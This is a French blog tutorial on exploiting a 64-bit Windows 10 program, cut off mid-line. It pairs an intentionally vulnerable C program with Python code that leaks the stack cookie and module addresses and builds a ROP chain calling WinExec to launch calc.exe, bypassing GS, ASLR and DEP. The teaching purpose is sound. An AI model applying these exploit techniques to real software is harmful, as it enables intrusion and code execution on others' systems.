Daily Security - Journal de Geluchathttps://www.dailysecurity.fr/2018-05-15T14:30:00+02:00Exploitation d'un programme 64 bits sous Windows 102018-05-15T14:30:00+02:002018-05-15T14:30:00+02:00Geluchattag:www.dailysecurity.fr,2018-05-15:/windows_exploit_64_bits_rop<h2>Introduction</h2> <p>Lorsque l'on débute dans le domaine de l'exploitation de binaire, notre choix se tourne le plus souvent vers Linux. En effet, beaucoup de challenges ont été développés sous Linux et la documentation sur l'exploitation Linux ne manque pas.</p> <p>Néanmoins, créer des exploits pour Linux n'a pas le même impact …</p><h2>Introduction</h2> <p>Lorsque l'on débute dans le domaine de l'exploitation de binaire, notre choix se tourne le plus souvent vers Linux. En effet, beaucoup de challenges ont été développés sous Linux et la documentation sur l'exploitation Linux ne manque pas.</p> <p>Néanmoins, créer des exploits pour Linux n'a pas le même impact que pour Windows, car celui-ci occupe une plus grosse part du marché.</p> <p>Beaucoup de personnes que je connais savent exploiter des binaires sous Linux, mais très peu ont pris le temps de s’intéresser à l'exploitation sous Windows.</p> <p>Cet article a donc pour but de détailler les différences entre l'exploitation Linux et Windows afin de permettre à ces personnes de faire le pas vers le monde de l'exploit Windows.</p> <p>De plus, n'ayant trouvé aucune documentation permettant d'exploiter un binaire 64 bits lors de mes recherches sur l'exploitation de binaire sous Windows, j'ai décidé de présenter un cas d'étude concret d'exploit 64 bits sous Windows 10 RS4 avec toutes les protections par défaut activées.</p> <h2>Prérequis</h2> <p>Les bases de l'exploitation sous Linux :</p> <ul> <li>connaître la plupart des failles communes ;</li> <li>connaître les protections sous Linux (ASLR, NX, PIE, <a href="https://www.dailysecurity.fr/la-stack-smashing-protection/">SSP</a>, RELRO)</li> <li>savoir faire une <a href="https://www.dailysecurity.fr/return_oriented_programming/">ROP chain</a> ou à minima un <a href="https://beta.hackndo.com/retour-a-la-libc/">ret2libc</a>.</li> </ul> <p>Pour tester l'exemple, vous pouvez télécharger une VM Windows 10 64 bits dernière version sur <a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">le site de Microsoft</a>.</p> <p>Je vous conseille aussi de lire <a href="https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/">les articles de Corelan</a> qui donnent une bonne idée des exploits sous Windows en 32 bits.</p> <p>Par ailleurs, je recommande IDA en tant que désassembleur et débugger; c'est celui que je vais utiliser tout au long de l’article.</p> <p>Cela étant dit, passons au vif du sujet.</p> <h2>Les différences entre les protections Linux et Windows</h2> <p>Lorsque l'on arrive dans le monde de Windows, on découvre que certaines protections sont équivalentes à d’autres sur Linux, mais ne portent pas le même nom. Il arrive aussi que d'autres aient le même nom mais un comportement différent, comme par exemple l'<strong>ASLR</strong>.</p> <p>L'ASLR Windows est très différent de l'ASLR Linux. Premièrement, il n'est pas activé globalement sur le système ; cela implique donc que chaque binaire, chaque bibliothèque, peut être compilé avec l'ASLR activé ou non. Et deuxièmement, il fait aussi office de <strong>PIE</strong> : en plus de la randomisation des adresses de la stack et de la heap, chaque module (binaire/bibliothèque) est mappé à des adresses différentes à <strong>chaque redémarrage</strong> de la machine.</p> <p>Cependant, le dernier point comporte deux défauts majeurs :</p> <ul> <li>comme l'ASLR Windows n'est initialisé qu'au démarrage, l’adresse de base du programme <strong>ne change pas</strong> entre deux exécutions successives (ex : le programme crashe et est redémarré) ;</li> <li>l'adresse de base des bibliothèques chargées est la même pour tous les programmes (voir image ci-dessous).</li> </ul> <p><img alt="Compare dll" src="https://www.dailysecurity.fr/images/compare_dll.png"></p> <p>On peut voir que sur ces deux programmes, les adresses de ntdll.dll et de kernel32.dll sont les mêmes.</p> <p>L'aspect PIE de l'ASLR Windows est donc quasiment inutile pour de l'exploitation locale : il suffit juste de lancer un programme qui récupère les adresses de ses propres bibliothèques chargées en mémoire et de les utiliser pour construire notre ROP chain.</p> <p><em>Remarque : on peut noter que l'adresse de base de chall.exe et celle python.exe sont différentes.</em></p> <p>Windows a aussi un équivalent de <strong>NX</strong> nommé la <strong>DEP</strong> (Data Execution Prevention) qui fonctionne pratiquement pareil que NX dans sa version actuelle. Il était autrefois possible de distinguer la DEP software de la DEP hardware lorsque celle-ci n'était pas supportée sur les processeurs mais nous passerons sur ce point étant donné qu'il est déjà très bien couvert par <a href="https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/">les articles de Corelan</a> et obsolète dans notre cas qui consiste à étudier les protections sur les dernières moutures de Windows. Nous dirons donc que la DEP est une DEP hardware et donc présente sur tous les binaires.</p> <p>On y retrouve aussi un <a href="https://www.dailysecurity.fr/la-stack-smashing-protection/">stack canary</a> nommé <strong>GS</strong> protection qui fonctionne lui aussi à peu de choses près comme le canary Linux.</p> <p>L'<strong>ASLR</strong>, la <strong>DEP</strong> ainsi que le <strong>GS</strong> forme ainsi les protections les plus communes actuellement car activées par défaut.</p> <p>On pourrait en citer d'autres, comme le <strong>SafeSEH</strong> qui s'occupe d'éviter les <a href="http://www.fuzzysecurity.com/tutorials/expDev/3.html">corruptions de la chaîne SEH</a> (celle qui s'occupe de gérer les exceptions dans un programme), ou des protections plus récentes et désactivées par défaut par Visual Studio 2017 tel que la <strong>CFG</strong> (Control Flow Guard) contrôlant les appels indirects de fonctions (ex: call rax). Un contrôle du pointeur contenu dans le registre à appeler est effectué avant le call afin d'éviter les corruptions de pointeurs de fonction (ex : vtable overwrite).</p> <p>On peut lister les protections d'un binaire en utilisant Process Hacker ou <a href="https://github.com/NetSPI/PESecurity/blob/master/Get-PESecurity.psm1">Get-PESecurity</a> : <img alt="Process hacker" src="https://www.dailysecurity.fr/images/ph_protection.png"> <img alt="GetPESecurity" src="https://www.dailysecurity.fr/images/get_pesecurity.png"></p> <h2>Étude de cas - Exploitation d'un binaire 64 bits sous Windows 10</h2> <p>Sans plus attendre, voici notre exemple de programme à exploiter :</p> <div class="highlight"><pre><span></span><code><span class="cp">#ifdef _MSC_VER</span> <span class="cp">#define _CRT_SECURE_NO_WARNINGS</span> <span class="cp">#endif</span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span> <span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;io.h&gt;</span><span class="cp"></span> <span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span><span class="w"></span> <span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="kt">unsigned</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">real_size</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">badbuffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span><span class="w"></span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"></span> <span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">_write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;Size : &quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">7</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">&quot;%u&quot;</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">real_size</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">_write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;Input : &quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">&quot;%s&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">badbuffer</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">_write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="n">badbuffer</span><span class="p">,</span><span class="w"> </span><span class="n">real_size</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="n">_write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;Done</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="p">);</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>Pour notre exemple, j'ai compilé le binaire avec <strong>Visual Studio 2017</strong> en laissant les options par défaut (<a href="https://www.dailysecurity.fr/chall.zip">lien vers le binaire</a>).</p> <p>En regardant le code source du programme, on repère facilement plusieurs vulnérabilités :</p> <ul> <li>le second appel à <em>scanf()</em> ne contrôle pas la taille en entrée : buffer overflow ;</li> <li>un des <em>write()</em> utilise la valeur récupérée dans le premier <em>scanf()</em> en tant que taille à envoyer sur stdout : fuite de mémoire.</li> </ul> <p>On note aussi que l'opération a lieu deux fois (boucle for).</p> <p>Ci-dessous un exemple de lancement du programme : <img alt="Exemple de lancement du programme" src="https://www.dailysecurity.fr/images/leak_first.png"></p> <h2>Les étapes de l'exploit</h2> <p>Afin d'exploiter ce programme, nous allons procéder en plusieurs étapes :</p> <ul> <li>récupération du canary/cookie - bypass <strong>GS protection</strong> ;</li> <li>récupération de l'adresse de retour afin de récupérer l'adresse de base du programme ainsi que de permettre au programme de ne pas crasher à la fin de l'exploit ;</li> <li>récupération des adresses de ntdll.dll et kernel32.dll - bypass <strong>ASLR/PIE</strong> ;</li> <li>calcul des adresses de nos gadgets et des offsets des fonctions utilisées par notre ROP chain ;</li> <li>équivalent d'un ret2libc afin de placer notre commande dans le .data (dans notre cas nous allons faire apparaître une calculatrice) - bypass <strong>DEP</strong> ;</li> <li>équivalent d'un ret2libc de system afin de faire apparaître la calculatrice.</li> </ul> <h2>Récupération de l'adresse de retour, du cookie et récupération des bibliothèques</h2> <p>La récupération du cookie, de l'adresse de retour du main ainsi que le calcul de l'adresse de base du programme se fait exactement de la même façon que sous Linux. Un petit rappel de la structure de la stack :</p> <div class="highlight"><pre><span></span><code><span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Save RIP |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Save RBP |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Padding |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Cookie |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| char badbuffer</span><span class="k">[</span><span class="c">64</span><span class="k">]</span><span class="c"> |</span> <span class="nb">+-------------------------+</span><span class="c"></span> </code></pre></div> <p>Le script de récupération des adresses en utilisant la fuite de mémoire :</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span><span class="p">,</span><span class="n">unpack</span> <span class="kn">from</span> <span class="nn">subprocess</span> <span class="kn">import</span> <span class="n">Popen</span><span class="p">,</span> <span class="n">PIPE</span> <span class="n">process</span><span class="o">=</span><span class="mi">0</span> <span class="k">def</span> <span class="nf">getProcess</span><span class="p">():</span> <span class="k">global</span> <span class="n">process</span> <span class="n">process</span> <span class="o">=</span> <span class="n">Popen</span><span class="p">([</span><span class="sa">r</span><span class="s1">&#39;./chall.exe&#39;</span><span class="p">],</span> <span class="n">stdin</span><span class="o">=</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">PIPE</span><span class="p">)</span> <span class="k">def</span> <span class="nf">getLeak</span><span class="p">():</span> <span class="k">global</span> <span class="n">process</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="mi">600</span><span class="p">)</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="n">process</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">60</span><span class="o">+</span><span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">)</span> <span class="k">return</span> <span class="n">process</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span> <span class="k">def</span> <span class="nf">printLeak</span><span class="p">(</span><span class="n">leak</span><span class="p">):</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span><span class="o">/</span><span class="mi">8</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span> <span class="nb">print</span> <span class="nb">hex</span><span class="p">(</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span> <span class="n">getProcess</span><span class="p">()</span> <span class="n">leak</span><span class="o">=</span><span class="n">getLeak</span><span class="p">()[</span><span class="mi">79</span><span class="p">:]</span> <span class="c1">#printLeak(leak)</span> <span class="n">cookie</span><span class="o">=</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[:</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">ret_addr</span><span class="o">=</span><span class="n">unpack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">leak</span><span class="p">[</span><span class="mh">0x18</span><span class="p">:</span><span class="mh">0x20</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span> <span class="n">base_addr</span><span class="o">=</span><span class="n">ret_addr</span><span class="o">-</span><span class="mh">0x36c</span> <span class="c1"># offset address after call main</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] chall.exe base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">base_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] ret address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">ret_addr</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] cookie value : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">cookie</span><span class="p">)</span> </code></pre></div> <p>En revanche, la récupération des adresses de kernel32.dll et ntdll.dll est beaucoup plus spécifique à Windows. Comme indiqué tout à l'heure, on peut se servir (en local) d'un autre programme que l'on contrôle afin de récupérer les adresses de bibliothèques mappées en mémoire (celles-ci ne changeant qu'à chaque redémarrage de la machine). On peut donc utiliser les fonctions <em>OpenProcess()</em> et <em>EnumProcessModules()</em> afin de lister les bibliothèque du processus contrôlé. Dans notre cas, nous allons utiliser le processus python.exe (celui de notre exploit) ainsi que la bibliothèque python win32api qui nous permet de communiquer avec, comme son nom l'indique, l'API Windows :</p> <div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">win32process</span> <span class="kn">import</span> <span class="nn">win32api</span> <span class="kn">import</span> <span class="nn">os</span> <span class="n">processHandle</span> <span class="o">=</span> <span class="n">win32api</span><span class="o">.</span><span class="n">OpenProcess</span><span class="p">(</span><span class="mh">0x1F0FFF</span><span class="p">,</span> <span class="kc">False</span><span class="p">,</span><span class="n">os</span><span class="o">.</span><span class="n">getpid</span><span class="p">())</span> <span class="c1"># 0x1F0FFF correspond à &#39;PROCESS_ALL_ACCESS&#39;</span> <span class="n">modules</span> <span class="o">=</span> <span class="n">win32process</span><span class="o">.</span><span class="n">EnumProcessModules</span><span class="p">(</span><span class="n">processHandle</span><span class="p">)</span> <span class="n">processHandle</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="nb">print</span> <span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="s2">&quot;0x</span><span class="si">%x</span><span class="s2"> : </span><span class="si">%s</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">win32api</span><span class="o">.</span><span class="n">GetModuleFileName</span><span class="p">(</span><span class="n">x</span><span class="p">))</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">modules</span><span class="p">])</span> <span class="n">ntdll_base</span><span class="o">=</span><span class="n">modules</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="c1"># ntdll</span> <span class="n">kernel32_base</span><span class="o">=</span><span class="n">modules</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="c1"># kernel32</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] ntdll.dll base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">ntdll_base</span><span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;[+] kernel32.dll base address : 0x</span><span class="si">%x</span><span class="s2">&quot;</span> <span class="o">%</span> <span class="n">kernel32_base</span><span class="p">)</span> </code></pre></div> <p><img alt="list modules python" src="https://www.dailysecurity.fr/images/list_modules_python.png"></p> <p>Nous avons toutes nos adresses de base, passons donc maintenant à la création de notre ROP chain.</p> <h2>Création de la ROP chain</h2> <p>Avant de débuter la création de notre ROP chain, je dois vous présenter la convention d'appel de Windows 64 bits la plus commune : la <a href="https://msdn.microsoft.com/fr-fr/library/ms235286.aspx">convention __fastcall</a>.</p> <p>Celle-ci est utilisée pour quasiment tous les appels de fonctions, et fonctionne de la façon suivante :</p> <ul> <li>les 4 premiers arguments de la fonction sont mis respectivement dans les registres rcx, rdx, r8 et r9 ;</li> <li>un padding de 32 bytes est fait sur la stack (nommé shadow space), celui-ci est utilisé par la fonction appelée pour déplacer les 4 premiers arguments sur la stack (8*4 = 32 bytes) ;</li> <li>les arguments restants sont placés sur la stack <strong>après</strong> le shadow space ;</li> <li>la stack doit être alignée sur 16 bytes (<strong>très important</strong> sinon le programme risque de crasher).</li> </ul> <p>Un petit schéma pour mieux comprendre :</p> <div class="highlight"><pre><span></span><code><span class="nb">+-------------------------+</span><span class="c"> rcx = 1er argument</span><span class="nt">,</span><span class="c"> rdx = 2ème argument</span> <span class="c">| Called function | r8 = 3ème argument</span><span class="nt">,</span><span class="c"> r9 = 4ème argument</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Return addr |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Shadow space * 4 |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| 4</span><span class="nb">+</span><span class="c">n argument * X | X peut être égale à zéro</span> <span class="nb">+-------------------------+</span><span class="c"></span> </code></pre></div> <p><em>Remarque : En mode de compilation Debug, le shadow space est initialisé aux valeurs des arguments afin de faciliter le débugging : <a href="https://stackoverflow.com/questions/30190132/what-is-the-shadow-space-in-x64-assembly">source</a>.</em></p> <p>C'est cette convention qu'il faudra respecter lors de l'appel aux fonctions dans notre ROP chain.</p> <p>En parlant des fonctions à appeler, nous allons dans notre exemple utiliser la fonction <a href="https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms687393(v=vs.85).aspx">WinExec</a> située dans kernel32.dll et qui permet d’exécuter une commande :</p> <div class="highlight"><pre><span></span><code><span class="n">UINT</span><span class="w"> </span><span class="n">WINAPI</span><span class="w"> </span><span class="n">WinExec</span><span class="p">(</span><span class="w"></span> <span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">LPCSTR</span><span class="w"> </span><span class="n">lpCmdLine</span><span class="p">,</span><span class="w"></span> <span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">UINT</span><span class="w"> </span><span class="n">uCmdShow</span><span class="w"> </span><span class="c1">// 0 = Hide , 1 = Visible</span> <span class="p">);</span><span class="w"></span> </code></pre></div> <p>Cette fonction prend deux paramètres, il nous faut donc un <code>pop rcx ; ret</code> ainsi qu'un <code>pop rdx ; ret</code> .</p> <p><em>Remarque : afin de limiter l'exploitation, le compilateur inclut très peu de gadgets <code>pop rcx ; ret</code> et <code>pop rdx ; ret</code> dans les binaires, c'est pourquoi nous irons chercher ces gadgets dans une grosse bibliothèque telle que ntdll.dll</em></p> <p>Pour cela, on utilise <a href="https://github.com/0vercl0k/rp">rp++</a> codé par <a href="https://github.com/0vercl0k">0vercl0k</a> de manière à lister les gadgets présents dans ntdll.dll :</p> <div class="highlight"><pre><span></span><code>C:\Users\Geluchat\Desktop&gt;rp-win-x64.exe --file=ntdll.dll --rop=16 &gt; gadgetndtll </code></pre></div> <p>Ce qui nous donne les gadgets suivants :</p> <div class="highlight"><pre><span></span><code><span class="mh">0x18008d03d</span><span class="o">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rcx</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="o">(</span><span class="mi">1</span><span class="w"> </span><span class="n">found</span><span class="o">)</span><span class="w"></span> <span class="mh">0x18008aa07</span><span class="o">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdx</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r11</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="o">(</span><span class="mi">1</span><span class="w"> </span><span class="n">found</span><span class="o">)</span><span class="w"></span> </code></pre></div> <p><em>Remarque : je n'ai pas trouvé de gadget <code>pop rdx ; ret</code> clean, il faudra donc ajouter un padding de 8 derrière la valeur souhaitée dans rdx afin de remplir le registre r11.</em></p> <p>Il ne reste plus qu'à faire appel à la fonction voulue tout en respectant <a href="https://www.gamasutra.com/view/news/178446/Indepth_Windows_x64_ABI_Stack_frames.php">l'alignement de la stack</a> sur 16 bytes.</p> <p>Pour cela, il faudra que lors de l'appel à la fonction dans notre ROP chain, la valeur du registre RSP soit un multiple de 16 (termine par 0, 0x10, 0x20, etc). Le gadget <code>ret</code>sera utilisé pour aligner la stack.</p> <p>De plus, nous aurons besoin d'un gadget <code>pop x ; pop x ; pop x ; pop x ; ret</code> de façon à continuer notre ROP chain après le shadow space :</p> <div class="highlight"><pre><span></span><code><span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Called function |</span> <span class="nb">+-------------------------+</span><span class="c"></span> <span class="c">| Pop4ret |</span><span class="nb">----</span><span class="nv">&gt;</span><span class="nb">+</span><span class="c"></span> <span class="nb">+-------------------------+</span><span class="c"> |</span> <span class="c">| Shadow space | |</span> <span class="nb">+-------------------------+</span><span class="c"> |</span> <span class="c">| Shadow space | |</span> <span class="nb">+-------------------------+</span><span class="c"> |</span> <span class="c">| Shadow space | |</span> <span class="nb">+-------------------------+</span><span class="c"> |</span> <span class="c">| Shadow space | |</span> <span class="nb">+-------------------------+</span><span class="c"> |</span> <span class="c">| Next gadget |</span><span class="nv">&lt;</span><span class="nb">----+</span><span class="c"></span> <span class="nb">+-------------------------+</span><span class="c"></span> </code></pre></div> <div class="highlight"><pre><span></span><code><span class="mh">0x1800f5510</span><span class="o">:</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="o">(</span><span class="mi">1</span><span class="w"> </span><span class="n">found</span><span class="o">)</span><span class="w"></span> <span class="mh">0x1800e31de</span><span class="o">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r14</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r13</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rsi</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="o">;</span><span class="w"> </span><span class="o">(</span><span class="mi">1</span><span class="w"> </span><span class="n">found</span><span class="o">)</span><span class="w"></span> </code></pre></div> <p>Je rappelle que le but de notre ROP chain est de faire apparaître une calculatrice. Pour cela, nous utiliserons la fonction <em>scanf()</em> afin de placer <code>calc.exe\x00</code> dans la section <em>.data</em> du binaire.</p> <p>Il ne reste ensuite plus qu'à appeler <code>WinExec(data_addr, 1);</code> afin de finaliser notre exploit !</p> <p>Récupération des adresses de <strong>scanf()</strong> dans le binaire et <strong>WinExec()</strong> dans kernel32.dll : <img alt="scanf" src="https://www.dailysecurity.fr/images/scanf_ida.png"></p> <p><img alt="Winexec" src="https://www.dailysecurity.fr/images/winexec_ida.png"></p> <div class="highlight"><pre><span></span><code><span class="n">winexec_addr</span><span class="o">=</span><span class="n">kernel32_base</span> <span class="o">+</span> <span class="mh">0x5E750</span> <span class="c1"># Base address at 0x180000000 : 0x18005E750 - 0x180000000 = 0x5E750</span> <span class="n">scanf_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x10</span> <span class="c1"># Base address at 0x140001000 : 0x140001010 - 0x140001000 = 0x10</span> <span class="n">poprcx</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0x8d03d</span> <span class="n">poprdxr11</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0x8aa07</span> <span class="n">retgadget</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0xf5510</span> <span class="n">pop4ret</span><span class="o">=</span><span class="n">ntdll_base</span> <span class="o">+</span> <span class="mh">0xe31de</span> <span class="n">s_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x126c</span> <span class="n">data_addr</span><span class="o">=</span><span class="n">base_addr</span> <span class="o">+</span> <span class="mh">0x2600</span> </code></pre></div> <p>On forme ensuite notre ROP chain :</p> <div class="highlight"><pre><span></span><code><span class="n">ropchain</span><span class="o">=</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">64</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">cookie</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;b&quot;</span><span class="o">*</span><span class="mi">16</span> <span class="c1">#scanf(&quot;%s&quot;,data_addr);</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprcx</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">s_addr</span><span class="p">)</span> <span class="c1"># Pop 1st arg</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprdxr11</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">data_addr</span><span class="p">)</span> <span class="o">+</span><span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">8</span> <span class="c1"># Pop 2nd arg + dumb argument for r11</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">scanf_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">pop4ret</span><span class="p">)</span> <span class="c1"># call scanf + set return addr to pop4ret to jump over the shadow space</span> <span class="n">ropchain</span><span class="o">+=</span><span class="s2">&quot;b&quot;</span><span class="o">*</span><span class="mh">0x20</span> <span class="c1"># Padding to return address (shadow space size)</span> <span class="c1">#WinExec(data_addr,1);</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprcx</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">data_addr</span><span class="p">)</span> <span class="c1"># Pop 1st arg</span> <span class="n">ropchain</span><span class="o">+=</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="n">poprdxr11</span><span class="p">)</span> <span class="o">+</span> <span class="n">pack</span><span class="p">(</span><span class="s1">&#39;&lt;Q&#39;</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;a&quot;</span><span class="o">*</span><span class="mi">8</span> <span class="c1"># Pop 2nd arg + dumb argument for r11</span> <span class="n">ropchain</span><span 